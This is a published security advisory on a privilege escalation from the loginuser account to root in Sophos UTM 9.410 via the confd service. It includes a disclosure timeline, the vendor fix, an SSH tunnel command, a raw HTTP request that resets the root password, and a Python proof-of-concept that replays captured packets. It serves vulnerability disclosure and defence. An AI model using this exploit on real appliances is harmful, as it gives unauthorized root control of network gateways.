Sophos UTM 9 loginuser Privilege Escalation

Sophos UTM 9 version 9.410 suffers from a loginuser privilege escalation vulnerability.


MD5 | 394214076f55f7e3c334fbf415512590

KL-001-2018-007 : Sophos UTM 9 loginuser Privilege Escalation via confd Service

Title: Sophos UTM 9 loginuser Privilege Escalation via confd Service
Advisory ID: KL-001-2018-007
Publication Date: 2018.03.02
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-007.txt


1. Vulnerability Details

Affected Vendor: Sophos
Affected Product: UTM 9
Affected Version: 9.410
Platform: Embedded Linux
CWE Classification: CWE-306: Missing Authentication for Critical Function (SID generation)
Impact: Privilege Escalation
Attack vector: SSH

2. Vulnerability Description

The attacker must know the password for the loginuser
account. The confd client is not available to the loginuser
account. However, the running service is accessible over
a network port on the loopback interface. By replaying the
network traffic required to obtain a SID from this service it
is possible to escalate privileges to root.

3. Technical Description

1. Obtain the a privileged session token

$ ssh -Nf -L 127.0.0.1:4472:127.0.0.1:4472 [email protected]
[email protected]'s password:
$ python kl-loginuser-confd-priv_esc.py
pojiZSqWEUAUDNIQtSop

2. Using that session token, set the root password

POST /webadmin.plx HTTP/1.1
Host: 1.3.3.7:4444
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-Type: application/json; charset=UTF-8
Referer: https://1.3.3.7:4444/
Content-Length: 422
Cookie: SID=pojiZSqWEUAUDNIQtSop
DNT: 1
Connection: close

{"objs": [{"ack": null, "elements": {"root_pw_1": "korelogic", "root_pw_2": "korelogic", "loginuser_pw_1":
"loginuser", "loginuser_pw_2": "loginuser"}, "FID": "system_settings_shell"}], "SID": "pojiZSqWEUAUDNIQtSop", "browser":
"gecko", "backend_version": "2", "loc": "english", "_cookie": null, "wdebug": 0, "RID":
"1490305723111_0.8089407793028881", "current_uuid": "2844879a-e014-11da-b3ae-0014221e9eba", "ipv6": false}

HTTP/1.1 200 OK
Date: Thu, 23 Mar 2017 15:33:53 GMT
Server: Apache
Expires: Thursday, 01-Jan-1970 00:00:01 GMT
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
X-Content-Type-Option: nosniff
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 178895

{"SID":"pojiZSqWEUAUDNIQtSop","ipv6":false,"current_uuid":"2844879a-e014-11da-b3ae-0014221e9eba",[snip over 9000]

3. Look for success message.

"objs":[{"success":[{"text":"Shell user password(s) set successfully."}]

4. Profit.

[email protected][redacted]:/home/login > su
Password:
[redacted]:/home/login # id
uid=0(root) gid=0(root) groups=0(root),890(xorp)

4. Mitigation and Remediation Recommendation

The vendor has addressed this vulnerability in version
9.508. Release notes and download instructions can be found at:

https://community.sophos.com/products/unified-threat-management/b/utm-blog/posts/utm-up2date-9-508-released


5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.07.21 - KoreLogic submits vulnerability details to Sophos.
2017.07.21 - Sophos acknowledges receipt.
2017.09.01 - 30 business days have elapsed since the vulnerability
was reported to Sophos.
2017.09.15 - KoreLogic requests an update on the status of this and
other vulnerabilities reported to Sophos.
2017.09.18 - Sophos informs KoreLogic that this issue will require
additional engineering and requests an extension of
the disclosure timeline.
2017.09.25 - 45 business days have elapsed since the vulnerability
was reported to Sophos.
2017.11.07 - 75 business days have elapsed since the vulnerability
was reported to Sophos.
2017.12.14 - 100 business days have elapsed since the vulnerability
was reported to Sophos.
2018.01.12 - KoreLogic requests an update from Sophos.
2018.01.15 - Sophos informs KoreLogic that the expected release date
for the UTM 9.5 MR 6 version containing the mitigation
is the middle of February.
2018.01.16 - 120 business days have elapsed since the vulnerability
was reported to Sophos.
2018.02.28 - 150 business days have elapsed since the vulnerability
was reported to Sophos.
2018.03.01 - UTM 9.508 released by Sophos.
2018.03.02 - KoreLogic public disclosure.

7. Proof of Concept

from socket import socket,AF_INET,SOCK_STREAM

class Exploit:
def __init__(self):
self.host = '127.0.0.1'
self.port = 4472
self.connected = False
self.s = None
return None
def disconnect(self):
self.s.close()
return True
def send_trigger(self):
packet_one =
'00000039050702000000050a0a43616c6c4d6574686f6404110b41737461726f3a3a52504303000000000a036765740a04697076360a06737461747573'.decode('hex')
self.s.send(packet_one)
self.s.recv(4096)
packet_two =
'00000099050702000000040a094e657748616e646c650a037379730a036e65770403000000060a0f636f6e66642d636c69656e742e706c00000006636c69656e7417000000000870617373776f72640a093132372e302e302e31000000066173675f69700a093132372e302e302e31000000026970170673797374656d00000008757365726e616d65170673797374656d00000008666163696c697479'.decode('hex')
self.s.send(packet_two)
self.s.recv(4096)
packet_three =
'0000002f05070200000003170a43616c6c4d6574686f6404110b41737461726f3a3a525043030000000017076765745f534944'.decode('hex')
self.s.send(packet_three)
print self.s.recv(4096).strip()
return True
def connect(self):
self.s = socket(AF_INET, SOCK_STREAM)
self.s.connect((self.host,self.port))
self.connected = True
return True
def run(self):
self.connect()
self.send_trigger()
self.disconnect()
return True

if __name__=="__main__":
Exploit().run()


The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt


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